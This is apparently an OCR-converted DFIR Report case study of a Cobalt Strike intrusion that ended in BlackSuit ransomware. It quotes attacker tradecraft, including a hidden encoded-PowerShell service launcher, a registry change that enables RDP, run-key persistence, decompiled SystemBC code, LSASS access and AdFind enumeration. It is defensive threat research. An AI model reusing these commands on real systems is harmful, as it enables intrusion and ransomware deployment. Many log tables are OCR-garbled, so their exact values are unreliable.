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Key Takeaways

e In December 2023, we observed an intrusion that started with the execution of a Cobalt Strike beacon and
ended in the deployment of BlackSuit ransomware.

o The threat actor leveraged various tools, including Sharphound, Rubeus, SystemBC, Get-Datalnfo.ps1,
Cobalt Strike, and ADFind, along with built-in system tools.

e Command and control traffic was proxied through CloudFlare to conceal their Cobalt Strike server.

The DFIR Report Services

e Private Threat Briefs: Over 20 private DFIR reports annually.

o Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver,
etc.
e All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, opendir

reports, long-term tracking, data clustering, and other curated intel.

 Private Sigma Ruleset: Features 100+ Sigma rules derived from 40+ cases, mapped to ATT&CK with test
examples.

e DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions.
Interactive labs are available with different difficulty levels and can be accessed on-demand,

accommodating various learning speeds.

Contact us today for pricing or a demo!
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Case Summary

The intrusion began in December 2023, with the initial sign being the execution of an unusually large-sized Cobalt
Strike beacon. After the beacon’s execution, there was no immediate follow-up activity. The initial access delivery
method for the intrusion remains unclear, as there was no evidence available. The Cobalt Strike C2 traffic
beaconed to IP addresses managed by CloudFlare, which acted as proxy server between the victim network and

their team server.

Approximately six hours after the initial execution, the threat actor used Windows utilities, such as systeminfo and
nltest to perform enumeration on the system and environment. After, they conducted AS-REP Roasting and
Kerberoasting attacks against two of the domain controllers, utilizing Rubeus, which was executed in memory via
Cobalt Strike. Following this, the threat actor ran Sharphound in memory through the Cobalt Strike beacon, and
saved the output to disk.

Around ten minutes after the initial discovery, the threat actor carried out their first lateral movement. They
transferred a Cobalt Strike beacon via SMB and executed it through a service to compromise another workstation.
On that workstation, they accessed LSASS to obtain credentials from memory. Throughout the second day of the
intrusion, the threat actor deployed multiple Cobalt Strike beacons on workstations and servers and also used RDP

for further lateral movement.

The threat actor deployed multiple SystemBC executables on one of the file servers. The second executable,
established persistence through a registry run key and opened a new command and control channel. After a busy
second day of activity, the intrusion went silent. On the seventh day, the Cobalt Strike command and control

domain stopped using CloudFlare and switched to an Amazon AWS IP address, for the remainder of the intrusion.

On the eighth day, the threat actors deployed a new PowerShell Cobalt Strike beacon on a domain controller, this
time pointing to a separate command and control server. After two days of inactivity, the intrusion resumed with
more Cobalt Strike beacons being distributed, along with several RDP logins. More discovery activity was noticed
when Sharphound was executed again. The threat actor attempted multiple times to run ADFind but failed in each

instance.
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Five days later, the threat actor returned to finalize their objectives. This time, ADFind was executed successfully,
followed by the execution of the PowerShell script Get-Datalnfo.ps1. The final step was the deployment of the
BlackSuit ransomware binary, qwe.exe, which was distributed via SMB to remote systems through the C$ share.
The attacker then manually connected to these systems using RDP to execute the ransomware. Upon execution,
the ransomware used vssadmin to delete shadow copies before encrypting the hosts. The Time to Ransomware
(TTR) was just under 328 hours, spanning 15 calendar days, with files being encrypted and the BlackSuit ransom

note left on desktops and folders across the systems.

If you would like to get an email when we publish a new report, please subscribe here. Follow us on LinkedIn for

additional insights and notifications!

Analysts

Analysis and reporting completed by @MetallicHack, @yatinwad, and @malforsec.
Initial Access

The earliest sign of the threat actor’s presence was the execution of a Cobalt Strike beacon, identified as
RtWin64.exe. Despite thorough investigation, the initial access point for the beacon’s deployment could not be

determined.

event_code Image

1 ChUsers ) _ RtWing4 exe

Execution

Cobalt Strike PsExec

Cobalt Strike served as the primary tool utilized by the threat actor, with a particular focus on its capabilities that
mimic Sysinternals PsExec. These features, including psexec and psexec_psh, enable remote process execution
across systems. The psexec module functions by uploading a binary to the target system, then creating and

launching a Windows service to execute the file.
The eventID 7045 in Windows System logs shows the services created on the system:

A service was installed in the system,

Service Mame: &1185c1

Service File Narme; VADMIMEWET1185c].exe
Service Type: user mode service

Service Start Type: demand start

Service Account; LocalSystern
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ServiceMame ServiceStartType ServiceFileMame

61185¢1 demand start ADMINSLET185c] exe
7341ac3 demand start VADMINSYT 34 ac3.exe
Tf02aba demand start MADMIMET02ab2 exe

I 375a365¢ demand start | %COMSPEC /b /c start /b /min powerchell -nop -w hidden -encodedcommand
leaeccd demand start SCOMSPECS /b /c start /b /min powershell -nop -w hidden -encodedcommanc
b7bceed demand start Wb7bceed.exe
ffade72 demand start VADMINSffddeT2.exe

| 225857 demand start \VADMIN$\e225857 exe

The psexec command spawned a rundl132.exe process.

ServiceMame ServiceStartType ServiceFileName

61185¢1 demand start 61185c1.exe

T3d1ac3 demand start SADMINEVT 341203 exe
I Tf02ah2 demand start WADMING\Ti02ab2 exe

b7bceed demand start WADMINS bT7bceed.axe

ffdde72 demand start ADMINS fidde T2 exe

225857 demand start WADMINS \e225857 exe

ParentExe Exe Processid

61185c1.exe
7341ac3 exe
T347ac3 exe
7f02ab2.exe

rundll3Z exe

rundll32.exe

rundll32 exe

rundll32 exe

11984
10664
10664
6124

b7bceel exe
225857 exe

5700
rundll3Z.exe 964

rundll32 exe

The psexec_psh module doesn’t copy a binary to the target, but instead executes a PowerShell one-liner. The

pattern it uses is %9 COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...

ServiceMame | ServiceStartType ServiceFileMName

375a65¢ demand start WCOMSPECY: /b fc start /b /minf powershell -nop -w hidden -encodedcommand JABzADOAT
leaeccl demand start WCOMSPECH /b fe start /b /mifl powershell -nop -w hidden -encodedecommand JABZADDAT
Persistence
Registry Run Key

To ensure persistent access to the environment, the threat actor created a run key named “socks5” within the

Current User registry hive. The registry key’s configuration indicated that PowerShell would be used to launch a
SystemBC backdoor named socks32.exe.

Sysmon eventID 13 (Registry value set) shows changes to a registry key value:
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Registry value set:

RuleMame: technigue_id=T1547.001,technique_name=Registry Run Keys / Start Folder
EventType: SetValue

UtcTime:

ProcessGuid: {6f0f2aab-fcde-657a-889d-000000000700)

mage: C socks32.exe
argetObject: HKU\5-1-5-21- \Software\Microsoft\Windows\CurrentVersion\Runsocks5
etails: powershell.exe -windowstyle hidden -Command “& *C: socks32.exe™

One interesting thing to mention is that the registry value name socks5 created under the Run key is hard
coded.

.data:004040B1 ValueName db 'socks5',0 ; DATA XREF: start+8fto
.data:004040B1 ; sub_40134B+4C9To
.data:004040B8 ; CHAR SubKey]]

.data: 00404088 SubKey db 'Software\\Microsoft\\Windows\\CurrentVersion\\Run',®@

The data is a string (type REG_SZ ) which starts with powershell.exe windowstyle -hidden Command
concatenated with the current executable name, which is obtained using GetModuleFileNameA with a null
hModule first parameter.

RegCreateKeyExA(hKey, 1pSubKey, @, @, @, 0xFOO3Fu, 0, &hkResult, &dwDisposition);
GetModuleFileNameA(@, Filenzme, @x100u);

wsprintfA(powcrshellCommand, "powershell.exe windowstyle hidden Command \"& '%s'\"", Filecnamec);

commandSize = lenght(powershellCommand};
RegSetValueExA(phkResult, lpvalueName, @, dwType, (const BYTE *)powershellCommand, commandSize + 1);

Scheduled Task

SystemBC possesses the ability to create scheduled tasks using COM, as demonstrated in the following example.
While other reports have noted SystemBC utilizing this feature, it likely wasn’t employed in our case, as no

evidence of scheduled task creation was observed during our investigation.

cpp_quote( "DEFINE_GUID(CLSID_CTaskScheduler, @x148BD52A, ©xA2AB, @x11CE, ©xBl, @x1F, @x@e, @xAA, @xee, ex53, exes, exe3);")
.data:0040411F rclsid dd 148BD52Ah ; Datal

.data:0040411F ; DATA XREF: sub_402399+4Cto

.data:00404123 dw OA2ABh ; Data2

.data:00404125 dw 11CEh ; Data3

.data:00404127 db @B1h, 1Fh, ©, ©AAh, @, 53h, 5, 3; Datad

data:0040412F ¢ JID riid

.data:0040412F riid dd 148BD527h ; Datal

.data:0040412F ; DATA XREF: sub_402399+43%t0

.data: 00404133 dw 0A2ABh ; Data2

.data:00404135 dw 11CEh ; Data3

.data:00404137 db @B1h, 1Fh, @, ©AAh, @, 53h, 5, 3; Datad

cpp_quote("DEFINE_GUID(IID_ITaskScheduler, ©x148BD527L, ©xA2AB, ©x11CE, ©xBl, ©x1F, ©0x00, OxAA, ©0x0@, ©x53, Oxe5, exe3);")

if ( CoCreateInstance(&rclsid, @, 1lu, &riid, &ppv) >= @ )// Create an ITaskScheduler instance

if ( (*(int (_ stdcall **)(LPVOID, char *, void *, void *, int *))(*(_DWORD *)ppv + @x2@))(// ITaskScheduler::NewhorkItem method
PPV,
randomTaskName,
&CLSID_Ctask,
&IID ITask,
823) >=0 )

It first uses the function CoCreateInstance to create an instance of an ITaskScheduler object and then call the

method NewWorkItem to create a scheduled task.
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Privilege Escalation
On a workstation that the threat actor moved laterally to, we observed use of named pipes.

cmdline
CAWindows\system32iomd.exe /c echo ebbleSacdae » W\ \pipe\612990

Usually, when observing this behavior from Cobalt Strike, this tends to be usage of the getsystem command to
elevate privileges; however, in this case we observed the parent process to not be services.exe and the threat actor
was already running as SYSTEM. This activity was seen in correlation to pass-the-hash behavior listed in Lateral
Movement. The threat actor changed to the context of a domain administrator and then was observed moving
laterally again using Cobalt Strike, so we attribute this activity to pass-the-hash command execution activity rather

than getsystem.

Defense Evasion

Modify Registry

The threat actor employed an encoded PowerShell command to modify the registry, enabling Remote Desktop

Protocol (RDP) access to a file server.

event_code | Image ommandLine Parentimage ParentCommandLine
1 c e fieg.exe’ add “HKEY LOCAL MACHINE\SYSTEM| tControlSet\Control\Terminal Server /v fDenyTs tionst REG_DWORD /d 0 /f powershell -nop -exec bypass -EncodedCommand cGBIAGCAIABhAGQAZAAGACIASAE

Setting the registry key “HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Control\Terminal Server”

DenyTSConnections to 0 will allow terminal server connections to the host.

Process Injection

Given the threat actor’s extensive use of Cobalt Strike beacons, we anticipated the use of process injection as a

method of evading detection by hiding within legitimate processes.

Upon analyzing process injections and access patterns from Cobalt Strike-generated processes, we successfully

identified the suspicious activity we were searching for.
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event_code
]
10
10
8
10
8
10
10
8
8
10

Sourcelmage
ChWindows\SysWOWdg
CAWindaws\SysWOWH
CAWindows\SyswOowegs\rundl|32 exe
CA\Windows\SysWOWe rund||32 exe

\rundl|32.exe

wrundll32 exe

CAWindows\SysWOWE rundl|32 exe
CAWindows\SysWOWE rund||32 exe
CAWindows\SysWOWE
CAWindows\Syswowd\rund||32 exe
CA\Windows\SysWOwds\rundl|32 exe

wrundll32.exe

CAWindows\SysWOWE rundl|32 exe
CAWindows\SysWOWE rundl|32 exe
CAWindows\SyswOowdl\rundl|32 exe
CAWindows\SysWOWd\rund||32 exe
CAWindows\SyswOwdi\rundl|32 exe
CAWindows\SysWOWE rundl|32 exe
C\Windows\SysWOWdH
CAWindows'\SysWOwd
CAWindows\SysWOWd\rund||32 exe
CAWindows\SyswOoweg\rundl|32 exe
C\Windows\SysWOWdi\rundl|32.exe
C\Windows\SysWOWd\rundl|32 exe
CA\Windows\SysWOW rund||32 exe
CAWindeaws\System32
CAWindows\System32'fundll32 exe
C\Windows\System32fundll32.exe
CA\Windows\System32fundll32.exe
CAWindows\System32undll32. exe
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indawsPowerfhell\w1.0\powershell EXE

SourceProcessld  Targetimage

11984
11984
11984
115984
11984
11584
10664
10664
10664
10664
10664
10664
10664
10664
6124
6124
6124
6124
6124
6124
6124
6124
10636
5700
5700
5700
5700

CA\Windows\System38\spoolsv.exe
CAWindows\System3 R spoolsy.exe
CA\Windows\System3 & svchost exe

CA\Windows\System3fsvchast.exe

CAWindows\system32\wbem\wmiprvse.exe
CAWindows\System32\wbem\WmiPrvSE exe

CAWindows\system3Zmstsc.exe
CAWindows\system3 g mstsc.exe
CAWindows\System3Jmstsc.exe
CAWindows\System3mstsc.exe
C\Windows'\system3@mstsc.exe
CAWindows\system3 g mstsc.exe
CA\Windows\System3Jumstsc.exe

CAWindows\System3fmstsc.exa

CAWindows\System32\spoolsv.exe
C\Windows\System32\spoolsv.exe
ChAWindows\system32\mstsc.exe
CAWindows\System32\mstsc.exe
CA\Windows\system32\ctfmon.exe

C\Windows\System32\ctfmon.exe

CA\Windows'system3svchost exe
CAWindows\System3@svchost.exe
CAWindows\system3 Qs
CA\Windows\system3@svchost exe

CAWindows\System3 R svchast.exe

CA\Windows\system33
CAWindows\System3runonce exe

TargetPracessld GrantedAccess

2956
2956
2712
2712
6228
6228
10688
10688
10688
10688
4228
4228
4228
4228
2628
2628
532
532
4224
4224
5060
5060
2196
4164
4164
6020
6020

0x1434
Ox1434

Ox143A

0x1FFFFF

Ox1FFFFF

Ox1FFFFF

0x1FFFFF

Ox143A

Ox1FFFFF

Ox1434

Ox143A

0x1410
Ox143A

Ox1FEFFF

Credential Access

The threat actor undertook multiple actions to obtain valid credentials, primarily leveraging Rubeus as the key

tool. During our investigation, we discovered that Rubeus had been loaded into mstsc.exe—a process previously

injected by Cobalt Strike—functioning as a CLR module.

exe |{*Descriptionffmstsc.exe loaded CLR module Rubcus“‘,l

gProcessCommandLine | Initiating i i id initiatingp g Parentid g

mstsc.exe mstsc.exe 11040 R “ 12348 C d

mstsc.exe mstsc.exe 11040 JRtWin64.exe 12348 ©

mstsc.exe mstsc.exe 12624 | Rtwine4 exe 12348 |

mstscexe mstsc exe 12624 |ReWin6dexe 12348 | C\Windows\System3)

AS-REP roasting
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AS-REP roasting was the first credential access activity performed by the threat actor. This was done with Rubeus

on the beachhead host targeting a domain controller.
Rubeus writing the result of AS-REP roasting output to a file:

event_code Image TargetFilename

1 ChWindows\systern32\mstsc.exe | Ch\Users\Public\APPDATA\_asp.txt

Indications of AS-REP roasting can be found by looking for windows eventID 4768 on the target domain
controller. The request is for Authentication tickets(TGT) with “Pre-Authentication Type” set to 0, meaning no

password is required.

A Kerberos authentication ticket (TGT) was requested.

Account Infarmation;
Account Marme:
Supplied Realrn Mame:
User ID:

Service Information:

Service Mame: krbtgt

ervice ILE

Metwork Information:
Client Address:
Client Port: 59061

Additional Information:
Ticket Options: (408000710
Result Code: 0w

Certificate Infarmation:
Certificate Issuer Marme:
Certificate Serial Number:
Certificate Thumbprint;

A lot of Kerberos Authentication Tickets were requested during AS-REP Roasting:
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event_code  ServiceMame TicketEncryptionType TicketOptions uthenticationType

4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 0
4768 0x17 0x408000108 O
4768 0x17 O0x408000109 O
4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 0
4768 0x17 0x408000108 O
4768 0x17 O0x408000109 O
4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 0
4768 0x17 0x408000108 O
4768 0x17 O0x408000109 O
4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 ©
4768 0x17 Ox408000109 O
4768 0x17 0x408000109 0
4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 ©
4768 0x17 Ox408000109 O
4768 0x17 0x408000109 0
4768 0x17 0x408000104 ©
4768 017 Ox408000109 ©
4768 0x17 0x408000109 ©
4768 0x17 Ox408000109 O
4768 0x17 0x408000109 0
4768 0x17 0x40800010§ ©
Kerberoasting

The threat actor used Rubeus to conduct a Kerberoasting attack. During this period of time, we observed
numerous Kerberos ticket requests, specifically using encryption type 0x17, which corresponds to RC4
encryption. These RC4 encryption requests coincided with the execution of Rubeus and targeted multiple accounts

across the domain
Rubeus executed in memory by Cobalt Strike creating kerberoast output:

event_code Image TargetFilename

1 Chywindows\system32ymstsc.exe | Ch\Users\Public\APPDATAY krb.txt

EventID 4769 on a domain controller showing request for tickets with weak encryption:

Page 9 of 44


https://thedfirreport.com/wp-content/uploads/2024/08/26364_019.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_019.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_020.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_020.png

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

A Kerberos service ticket was requested.

Account Information:
Account Mame:
Account Domain:
Logon GUID:

Service Information:
Service Mame:
Service |D:

Metwork Information:
Client Address:
Client Port:

Additional Information:

allure Cade;
Transited Services:

LSASS memory access

The threat actor accessed LSASS memory on a workstation with a specific access request of 0x1010, where
0x0010 is necessary to read memory using ReadProcessMemory. This request originated from a process that had

been injected with Cobalt Strike.

Sysmon eventID 10 shows mstsc.exe accessing Isass with the access mask 0x1010

srcimage SourceProcessld | targetimage GrantedAccess
ChywWindows\system32ymstsc.exe | 4228 ChWindows\system32\lsass.exe  0x1010
Discovery

Discovery plays a critical role for the threat actor in assessing the environment they have infiltrated. Throughout
the intrusion, the attacker conducted discovery activities across multiple systems, gathering valuable intelligence

on the network and its assets.

Hands On Keyboard

Discovery began on the beachhead host approximately six hours after initial access. The first command executed
was “systeminfo,” aimed at gathering details about the local system. Shortly after, the command “nltest /dclist”

was issued to identify the domain controllers within the environment.

Sysmon eventID 1 shows evidence of running the commands:

event_code CommandLine Image OriginalFileName ParentCommandLine Parentimage
1 Cywindows\system3zhcmd.exe /C systeminfo Cywindows\System32ycmd.exe  Cmd Exe “CAUsers \RIWinGd.exe” | C\Users RIWinGd.exe
1 CA\Windows\system3Zcmd.exe /C nltest /delist: CA\Windows\System32\cmd.exe  Cmd Exe "CA\Users \RtWinbd.exe" | C\Users RiWinG4.exe
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Once the threat actor identified the domain controllers, they wasted no time and promptly loaded Sharphound into
memory via Cobalt Strike. This allowed them to conduct further discovery activities within the environment,

expanding their reconnaissance efforts.

We have some proof showing mstsc.exe loading Sharphound as a CLR(Common Language Runtime) module.
mstsc.exe is the child process of Cobalt Strike beacon RtWin64.exe. The below screenshot taken from the EDR
telemetry depicts that:

gPr mmandLin q InitiatingPro g ingProcess
mstsc.exe I mstse.exe I 9084 12348 | CAWindows\System32\mstsc.exe | ['Description’ [mstsc.exe loaded CLR module sharpHoundll

mstscexe mstsc.exe 9084 RtWin6d exe 12348 | c\windows\system32\mstscexe  {'ModulelLPathOrName"f SharpHound'fMaduleflags"5," Moduleld"-140730950173000,"Assemblyld":2 298143055088, Clrinstanceld":31}

mstscexe loaded CLR module SharpHound

mstscexe mstsc.exe 9084 RtWin64 exe 12348 | C\Windows\System32\mstsc.exe  {'Description g

Output from Sharphound was stored in “C:\Windows\Temp\Dogi\”. The recurring use of this directory aligns with
behaviors documented in a different report, BazarCall to Conti Ransomware chain. This suggests a potential
operational signature or TTP (Tactics, Techniques, and Procedures) common to this threat actor group or its

operators. Based on the output files created, it looks like it was run in default mode as described below.

Sysmon eventID 11 showing the files created:

event_code Image TargetFilename

1 Ch\Users' RitwWingd.exe Ch\Windows\Temp\Dogi
1" CAWindows\system32\mstsc.exe ChAWindows\Temp\Dogit202 15q containers json
11 CAWindows\systemn32\mstsc.exe CA\Windows\Temp\Dogi\202 150 gpos.json
1 CAWindows\systerm32ymstsc.exe CA\Windows\Temp\Dogih202 150 groups json
111 ChAWindows\system32\mstsc exe CAWindows\Temp\Dogi\202 150 users.json
1 CAWindows\systern32ymstsc.exe CAWindows\Temp\Dogih202 150 computers json
1" CAWindows\systern32ymstsc.exe C\Windows\Temp\Dogit202 1508 ousjson
1 CAWindows\system32ymstsc.exe C\Windows\Temp\Dogit 202 150 domainsjson
1" CAWindows\system32ymstsc.exe CA\Windows\Temp\Dogih202 150 BloodHound zip
11 CiWindows\system32\mstsc exe Chwindows\Temp\Dog\MDAWZGN|MIYtNmJINIOOMTJiLThiZDAZTQOMZY SNjcdMTY 3.bin

Sharphound appeared to be running in its default mode, which involves enumerating local group memberships by
querying the Windows Security Accounts Manager (SAM) database remotely through the samr pipe on the target
host. This pipe is exposed via the IPC$ share, and corresponding activity can be detected by monitoring Windows
security events with event ID 5145. A similar approach is used to discover logged-on users; however, in this case,

Sharphound communicates with the srvsvc pipe, utilizing the Server Service Remote Protocol.

Windows eventlog eventID 5145 showing Sharphound enumeration activity:

event_code ShareMame RelativeTargetMame SourceAddress SourcePort
5145 WIPCE | srvsve 59271
5145 AAIPCE  camr 59271

When Sharphound enumerates the Active Directory through LDAP searches, it performs an excess amount of

queries.

Example of Sharphound LDAP searches:

" (| (samaccounttype=268435456) (samaccounttype=268435457) (samaccounttype=536870912) (samaccounttype=536
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Sharphound executed in memory by Cobalt Strike, performing LDAP queries:

ActionType
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
LdapSearch
I danSearch

{

"Attributelist”: |
“objectsid”,
“objectguid”

1

InitiatingProcessCommandLine  InitiatingProcessid

mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
msisc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstscexe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe
mstsc.exe

mster pus

9084  mstsc.exe
9084 mstsc.exe
9084 mstsc.exe
9084 mstscexe
9084 mstsc.exe
9084 mstsc.exe
9084 mstscexe
9084 mstsc.exe
9084 mstscexe
9084 mstsc.exe
9084  mstsc.exe
9084 rmstsc.exe
9084 mstscexe
9084 mstsc.exe
9084  mstsc.exe
9084  mstsc.exe
9084  mstsc.exe
9084 mstsc.exe
9084 mstsc.exe
9084 mstsc.exe
9084 mstsc.exe
9084  mstsc.exe
9084 mstsc.exe
9084 mstsc.exe
GNAd | mstar pve

"DistinguishedMame": "CM !Meetings.CN!Syslem.DC!_,UC!-
"Scope0fSearch™ “Onelevel”,
“SearchFilter: 't|[samacc0unttype=805306369}[samac[ounll;rpE=80530636*|(samaccounttype=268435456}Esarnaccounllype=268¢13SdS?)(samaccUunllype=5368?09|?_][samaccounttype=536870913]I
(objectcategory =organizationalUnit){objectClass = container])

I

REWinGd.exe
RtWint4.exe
RtWinb4.exe
RtWinbd.exe
RtWinbd.exe
RtWinGd. exe
RtWinb4.exe
RtWinb4.exe
RtWinbd.exe
RtWinGd.exe
RtWinGd.exe
RtWinb4.exe
RtWinbd.exe
RtWinb4d.exe
RtWinGd.exe
RtWinGd.exe
RtWinb4.exe
RtWinb4.exe
RtWinb4.exe
RtWin&d.exe
RtWinGd.exe
RtWinbd.exe
RtWinG4.exe
RtWinbd.exe
R1WinRd ava

InitiatingProcessFileMame | InitiatingProcessParentFileName | InitiatingProcessParentld

12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
12348
17348

Sharphound was initially executed on the beachhead host. Later in the intrusion, the threat actor ran Sharphound

two more times, this time on a domain controller. The output from the first run was saved to

“C:\Windows\System32\”, while the second run’s results were directed to “C:\Perflogs\”.

Again Sysmon eventID 11 caught the files created by Sharphound:

event_code
11
11
11
111
11
11
11
11
1

Image

CA\Windows\system32\SharpHound.exe
CA\Windows\system32\SharpHound.exe
ChWindows\system32\SharpHound.exe
ChiWindows\system32\SharpHound.exe
ChiWindows\system32\SharpHound.exe
ChyWindows\system32\SharpHound.exe
ChyWindows\system32\SharpHound.exe
ChWindows\system32\SharpHound.exe
ChAWindows\system32\SharpHound.exe

TargetFilename

Ch\Windows\System3242
CAWindows\System3242
C\Windows\System322
CAWindows\System32\2
ChiWindows\System32\2
ChiWindows\System32\2
ChWindows\System32\2
CAWindows\System32\2

ChWindows\System32\MWRjOTF/ODEt
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event_code | Image TargetFilename

11 ChWindows\system32\yrunonce.exe C\Perflogs\2 H containers.json
11 ChWindows\system32\runonce.exe  C\PerfLogs\2 Hgpos.json
1 Ch\Windows\system32\runoncesxe  C\Perflogs\2 Husers,json
| 1 ChWindows\system32yrunonce.exe  C\PerfLogs\2 Hgroupsjson
11 ChWindows\system32\runonce.exe C\Perflogs\2 Housjson
1 ChWindows\system32yrunonce.exe  C\Perflogs\2 B computers.json
1 ChWindows\system32yrunonce.exe  C\PerfLogs\2 Hdomains.json
11 Ch\Windows\system32yrunonceexe  CA\Perflogs\2 A BloodHound.zip
1 ChiWindows\system32yrunonce.exe  C\PerfLogs\MWRJOTFJODEYzhmZS00ZDMSLWEWODKIODBhZDZkZjgxNGCQw.bin

Windows Security eventID 4799 shows Sharphound performing discovery on local security-enabled groups:

event_code ProcessMame Processid GroupMame GroupDomain
4799 CAWindows\System3
4799 CA\Windows\System3
4799 CAWindows\System3
4799 ChAWindows\System3

SharpHound.exe Ox13ce Administrators Builtin
SharpHound.exe Ox13ec Distributed COM Users Builtin

SharpHound.exe Ox13ce Remaote Management Users Builtin

SharpHound exe Ox13cc Remate Desktop Users Builtin

More information on how Sharphound functions can be found here:

More ways to detect LDAP queries generally in this great article here:
ADFind

ADFind, a tool frequently used by threat actors, was also employed in this intrusion to conduct enumeration and
discovery. After gaining access to the second domain controller, the threat actor created “ADFind.exe” and

“adf.bat” in an attempt to gather further Active Directory information.

Sysmon eventID 11 showing creation of ADFind.exe and adf.bat by Cobalt Strike:

event_code Image Processld Targetfilename
11 CAWindows\System32\rundll32.exe 5700 C/\PerfLogs\ad
1 CiWindows\System32\yrundll32.exe 5700 ChPerfLogs\adfadf.bat

A few seconds after creation of the files, the threat actor was eager to collect the desired information and executed

adf.bat via cmd.exe :

event_code ParentCommandLine Parentimage CommandLine Image Processld CurrentDirectory

1 CAWindows\System32\rundll32.exe = C\Windows\System32\rundll32.exe = C\Windows\system32\cmd.exe /@C\Perflogs\adf\adf.bat | C\Windows\System32\cmd.exe 4128 CAWindows\system32\
1 CAWindows\System32\rundii32.exe  C\Windows\System32\rundli32.exe = C\Windows\system32\cmd .exe /@ C:A\Perflogs\adfiadf.batll C:\Windows\System32\cmd.exe 280 CAWindows\system32y

No additional commands were observed after each batch file execution. This indicates the operator may have
encountered difficulties, as the batch file was executed twice within just over a minute of the initial attempt,

suggesting potential issues or missteps during execution.

Sysmon eventID 11 shows the creation of the files with the output of ADFind:
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event_code | Image Processld | TargetFilename

11 ChWindows\system32icmd.exe 4128 CAWindows\Systern3 R ad_users txt

1 CiWindows\system32\cmd.exe 4128 Ch\Windows\System3 Rad_computers.txt
I 1 ChAWindows\system32iemd.exe 4128 ChWindows\System3 Rad_ous.txt

11 ChWindows\systermn32iemed.exe 4128 CAWindeows\Systermn3 Rtrustdmp.tut

11 ChWindows\system32\cmd.exe 4128 ChWindows\System3 @ subnets.txt

1 ChWindows\system32icmd.exe 4128 CAWindows\System3 R ad_group.txt
] 1 CiWindows\system32\cmd.exe 41_23 Ch\Windows\System3 Ztrustdmp.txt

It’s possible that the files ended up being empty, causing the threat actor to reconsider their approach. About 15
minutes later, the operator tried running ADFind.exe directly from the command line, likely to verify whether the

tool would execute properly.

| event_code ParentCommandLine Parentimage CommandLine Image Processld CurrentDirectory

1 ChWindows\System32\rundll32Z.exe  C\Windows\System32\rundll32.exe | C\Perflogs\adf\AdFind.exe | C\PerfLogs\adf\AdFind.exe 4020 CAWindows\system324,

After failing to determine the cause of the issue, the threat actor stayed quiet until the next day. The operator likely
made an error by trying to run “ adf.bat ” from “ C:\Windows\System32\ ” when both “adf.bat” and
“ADFind.exe” were actually located in “ C:\Perflogs\adf\" . Because of this, “ ADFind.exe ” probably couldn’t

be found as an executable in the wrong directory, leading to the error.

event_code | Image Processld | TargetFilename

111 CAWindows\System32yrundll32 exe 5700 Ch\PerfLogs\adfAdFind exe
1 CAWindows\System32yrundll32exe 5700 Ch\PerfLogs\adf\adt bat

event_code ParentCommandLine Parentimage CommandLine Image Processld _CurrentDirectol
1 CA\Windows\System32\rundll32.exe  C:\Windows\System32\rundll32.exe | C\Windows\system32\cmd.exe /c Ch\Perflogs\adfiadibat | C\Windows\System32\cmd.exe 4128 ChWindows\system32y,
1 CiWindows\System32\rundli32.exe | C\Windows\System32\yrundli32.exe | CA\Windows\system32icmd.exe /C C\Perflogs\adiadfbatll C\Windows\System32\cmd.exe = 280 CAWindowshsystem32

After several days, the threat actor decided to give ADFind another try. This time, on the file server the operator

was successful in running adf.bat correctly to find ADFind.exe and perform the desired discovery activity:

Sysmon eventID 1 showing threat actor running adf.bat:

event_code ParentCommandLine Parentimage CommandLine Image Processld CurrentDirectory
1 Ch\Windows\Explorer.EXE = C\Windows\explorer.exe IC:;Wmdows':syétemsz\cmd.% Jc ""Ch\PerfLogs\adf bat" I C\Windows\System32\cmd.exe 892320  C\PerfLogs\

Resulting in several adfind.exe process events:

event_code ParentCommandLine Parentimage Image Processld CurrentDirectory
1 C\Windows\system32\cmd.exe /c “'C\Perflogs\adfbat™ = = C\Windows\System32\cmd.exe Jadfind.exe -f “(objectcategory=person)” C\PerfLogs\AdFind.exe 892836  Ci\PerfLogs\
1 CA\Windows\system32\cmd.exe /c ""CA\Perflogs\adfbat™ = | C:\Windows\System32\cmd.exe Jadfindexe -f "objectcategory=computer” Ch\Perflogs\AdFind.exe | B75096  C:\PerfLogs\
1 CyWindows\system32\cmd.exe /c ""C\Perflogsiadfbat® * | C\Windows\System32\cmd.exe fadfindexe -f "(objectcategory=organizationalUnit)” | C\PerfLogs\AdFind.exe 888952  C\Perflogs\
1 CAWindows\system32\cmd.exe /¢ "CA\PerfLogshadibat = | C\Windows\System32\cmd.exe | adfind.exe -sc trustdmp Ch\PerfLogs\AdFind.exe 892280  C\PerfLogs\
1 C\Windows\system32\cmd.exe /¢ ""C\PerfLogsiadfbat™ = | C\Windows\System32\cmd.exe Jadfind.exe -subnets -f (objectCategory=subnet) Ch\PerfLogs\AdFind.exe 892200  C\PerfLogs\
1 C\Windows\system32\cmd.exe /c “*C\PerfLogshadibat® * | C\Windows\System32\cmd.exe Jadfindexe -f *(objectcategory=group)” ChPerfLogs\AdFind.exe 892152  C\Perflogs)
